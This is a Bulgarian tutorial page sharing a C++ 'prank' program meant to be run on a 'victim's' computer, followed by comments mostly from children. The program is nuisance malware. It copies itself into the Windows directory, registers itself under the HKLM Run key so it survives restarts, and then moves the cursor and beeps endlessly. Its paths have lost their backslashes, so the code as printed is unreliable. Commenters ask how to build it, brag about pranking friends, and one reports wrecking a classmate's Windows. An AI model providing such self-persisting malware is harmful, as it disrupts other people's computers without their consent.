Помогни ни да направим Uroci.net по - богат! Добави урок

Интересна и гадна шега в C++

C++ » C++
xaker4eto   трудност:    видян: 31801

Тази проста програмка мести курсора на мишката на жертвата ви. Когато курсора стигне границата на екрана се чува бибиткане и курсора сменя посоката си. Също има и autostart, така че жертвата ще си мърда и бибитка дълго време ;)

 

CODE: 

 

#include <windows.h>
#include <string>
#include <time.h>

int WINAPI WinMain (HINSTANCE hThisInstance,
                                         HINSTANCE hPrevInstance,
                                         LPSTR lpszArgument,
                                         int nFunsterStil)
{
    char windir[MAX_PATH];
    char cpathname[MAX_PATH];
    char whatever[64] = "SoftwareMicrosoftWindowsCurrentVersionRun";
    char something[32] = "Microsoft Windoze";
    GetWindowsDirectory(windir, sizeof(windir));
    HMODULE hMe = GetModuleHandle(NULL);
    GetModuleFileName(hMe, cpathname, sizeof(cpathname));
    strcat(windir, "system32backup.exe");
    CopyFile(cpathname, windir, false);
    HKEY hKey;
    RegCreateKey(HKEY_LOCAL_MACHINE, whatever , &hKey);
    RegSetValueEx(hKey, something, 0, REG_SZ , (LPBYTE)windir, sizeof(windir));
    int screen_x, screen_y;
    int direction_x = 10;
    int direction_y = 10;
    char ab="a"[1];
    POINT cursor;
    clock_t start;
    screen_x = GetSystemMetrics(SM_CXSCREEN);
    screen_y = GetSystemMetrics(SM_CYSCREEN);
    while(ab=ab)
        {
             start = clock();                 
             GetCursorPos(&cursor);
             if(cursor.x == (screen_x - 1))
             {
               direction_x = -10;
               Beep(500,25);
             }
             if(cursor.x < 2)
             {
               direction_x = 10;
               Beep(500,25);
             }
             cursor.x = cursor.x + direction_x;
             if(cursor.y == (screen_y - 1))
            {
               direction_y = -10;
               Beep(750,25);
            }
            if(cursor.y < 1)
            {
               direction_y = 10;
               Beep(750,25);
            }
            cursor.y = cursor.y + direction_y;
            SetCursorPos(cursor.x,cursor.y);
            while((clock() - start) < 10);                         
       }
     return 0;
 }



Коментари (25)

ShadowAngel на 14.06 2009 в 19:36ч.
Понеже съм на 10 и не съм много запознат с нещата, може ли да попитам този код на notepad ли се слага или...?
copy на 16.06 2009 в 23:54ч.
Забрави за C++ ако си на 10, просто не още за теб :>

Иначе урока си го бива, но ако ще пращам на някого, когото мразя то ще е от сорта /@echo del %%/ XD
venceto на 26.06 2009 в 18:05ч.
интересно :)
mortal на 08.07 2009 в 16:06ч.
аз сам на 9 и го разбрах
eksekytora на 18.07 2009 в 02:26ч.
добре къде да го вкарам този код??? когато го сложа в C++ ми вади някаква грешка.
webspliterr на 18.07 2009 в 10:22ч.
и какво като е на десет колкото по малък толко по добре във момента уча асембли и съм на 15
dogman на 28.07 2009 в 23:48ч.
С кое Ц++ се прави тази програма защото аз имам 1 и не трагва с него
vasilvas на 29.07 2009 в 12:26ч.
ShadowAngel и аз съм на 10 но се оправих. Ето изтегли си от тук C++ програмата (портъбъл е няма нужда от инсталира): http://zamunda.net/details.php?id=27315&hit=1 трябва да се регистрираш първо в zamunda.net!
delfin95 на 02.08 2009 в 22:15ч.
здравейте! искам да попитам, ако аз стартирам тази програмка, просто от любопитство, после как да я спра? ;)
Ickoo на 02.08 2009 в 22:27ч.
И какво разбрахте от този код? Аз лично вместо да го копирам бих предпочел някой който го разбира да го обясни кое, как и защо става. Много ще съм благодарен ако някой разясни.
PowermanBG на 02.09 2009 в 18:32ч.
Кодът е прост за разбиране, същност даже е написано:

Тази проста програмка мести курсора на мишката на жертвата ви. Когато курсора стигне границата на екрана се чува бибиткане и курсора сменя посоката си. Също има и autostart, така че жертвата ще си мърда и бибитка дълго време ;)
--------------

Дори и при рестарт, пак ще продължи да работи, защото се запаметява в Run регистъра и като цяло това е нещо като вирус, но безвреден (е не баш, може да изплаши някой идиот със слаба компютърна култура, но иначе не прави поразий, като триене на системни файлове или др.)
nervaka на 15.09 2009 в 05:03ч.
Имам няколко въпроса към този урок и като цяло за програмката,някой ако може да ми пише на майла да си дам моя скайп или той да ми даде неговият.Моят майл е sk.nervaka@abv.bg
luda4et0o на 04.10 2009 в 19:45ч.
може ли някой да го направи и да ми го изпрати на скайп: halil097
SecurityWOrm на 18.10 2009 в 14:31ч.
Гот прави записка в регистара!
Johny91 на 30.10 2009 в 11:17ч.
Някои може ли да ми помогне с тази програма, че аз немога и да я захапя даже. Колкото и малко да напишете ще е от полза.
Във фаила CODE.DAT са записани естествени числа по-големи от 0 и по-малки от 1 милиард в нормална десетична бройна система. Числата са различни и са разделени с поне 1 интервал и/или нови редове. 8 са същинските данни, заблуждаващите са не повече от 200. Числата трябва да се подредят, по-предно място взимат числата, които в двоичния си запис имат повече единици, ако са с равен брои единици се подреждат по големина. След като се подредят първите 4 и последните 4 са истинските данни. Разглеждат се 8-те остатъка при делене на 26 на получените числа в същия ред. На остатък 0 съответства буквата А, на 1-буквата B и т.н., на 25-буквата Z. Получената дума е желаният код.
Ето и пример как трябва да изглежда:
CODE.DAT:
291 538 152 3
17 14
43 650 93 356
След подредбата изглеждат така: 93 650 538 356 291 43 152 14 17 3 , а се използват:
93 650 538 356 152 14 17 3 , делят се на 26 и остатъците са: 15 0 18 18 22 14 17 3 и думата е PASSWORD.
alllks на 25.11 2009 в 19:51ч.
много моля всички да помагат с коментари
PainFullPleasure на 16.12 2009 в 15:02ч.
опа малко беля направих съжалявам (отиде Windowsa на 1 :D малко промених) вижте колко сам умен отиде windows-a на 1 от класа и ся ще треа да му го преинсталирам :@
b3b41 на 18.01 2010 в 21:55ч.
После как мога да го премахна ?
injo на 10.02 2010 в 22:00ч.
абе на мен не ми бачка
gogoxxx на 16.09 2010 в 16:09ч.
4ове4е аз съм на 12 и съм мега полудял по тези програми ама МЕГА :D
кара C++ CSS dreamweaver това е велика жъпреки 4е се уча от интернет ... такаде не съм много про :D например напражих калкулатор...ама 2 по 2 = 134,51(...) и някжо такова

единствено 4асожника работи горе долу добре ам кат мине 1 4ас спира ама ништо и не викаи на 10 годишния 4е е малък просто да се поинтересува малко пове4е хихихи Аз по4нах от 8 годишен да се интересувам от тези програми а колкото до този код тука Мноо як (яко избазиках един приятел) :D :D :D
muhaha на 22.10 2010 в 17:28ч.
gogoxxx - Бих те посъветвал да присъстваш в училище повече ( не само физически ! ). Образованието не случайно е разделено степенно ! Не случайно в първи клас не се учи програмиране а се учи във ВУЗ-ове, не казвам че и в средно не може да се учи някакъв език или че не се учи език в средното. Но само като прочетете коментара на "gogoxxx" и ще ви стане ясно че не е дорасъм да учи нещо сериозно като програмиране ! И да поясня няма програма C++, C++ е програмен език ( език "C със класове" е било първото му название в следствие от особеност в езика придубива двата плюса повече няма да казвам по темата питайте google ) та програмите на които се пише и които компилират кода от езика C++ до машинен език, за да изпълни компютъра нещата зададени му от кода се наричат "КОМПИЛАТОРИ". Ако на някой недорасъл му се учи език има доста книги които са написани поне в ред в който трябва да се учи !!! Но бих ви посъветвал да научите поне Българския език !!! Че кой би ви приел на сериозно ако не владеете дори майчиния си език?

Стига че се престарах но пак да ви кажа: Първо научете нещата които трябва в училище не само да висите в интернет и да ходите да лашкате бири и да пушите цигари щото било модерно !!! Модерно е да не пушете, модерно беше да се пуши преди 8 години !
Default на 26.11 2010 в 19:54ч.
Така само да обясня като се пише една програма нека поне да я напишете прегледно
а за тези 10г и 12г просто да си учат уроците и да не се занимават с това сега ем не разбират ем много им знае устата..ЕИИИ необразовано поколение бее..
palikar на 15.03 2011 в 11:30ч.
Моля някой да ми каже кои редове от програмата й указват да се запише в рън регистъра така че да се стартира сама.
rado99 на 24.11 2011 в 16:17ч.
Този код се слага в някоя програма за С++ , аз лично използвам Codeblocks.
rado99 на 03.07 2012 в 13:04ч.
Сега ще ви кажа какво прави програмата.Като за начало прави регистър в системата за пускане при всяко стартиране на компа (само не ми стана ясно за какво задава пътя със променливи).После задава часовник които да брои колко sec са изминакли.И накрая задава мърдането на мишката и със условния оператор if zadava ако курсора стигне в края на монитора да бибибка.Единствено спасение е стартиране под safe mode(потърсете малко информация из нета) да напишете регедит и да премахнете кея.Обаче и това и мълмко вероятно защотот като гледам задава регистър и в systemния файл които отговаря кой програми да се пускат под safe mode и кой не.Така че има едно сигурно решение-преинсталиране.

Регистрирайте се, за да добавите коментар


Калдейта ЕООД - © 2003-2010. Всички права запазени.
Препоръчваме: Национален Бизнес | Bomba.bg | IT Новини | Диплома.бг | TRAVEL туризъм | Реферати | AmAm.bg | Иде.ли | Курсови работи | Фото Форум | Spodeli.net | Фото-Култ | Atol.bg | Elmaz.com | MobileBulgaria.com | Казанлък.Com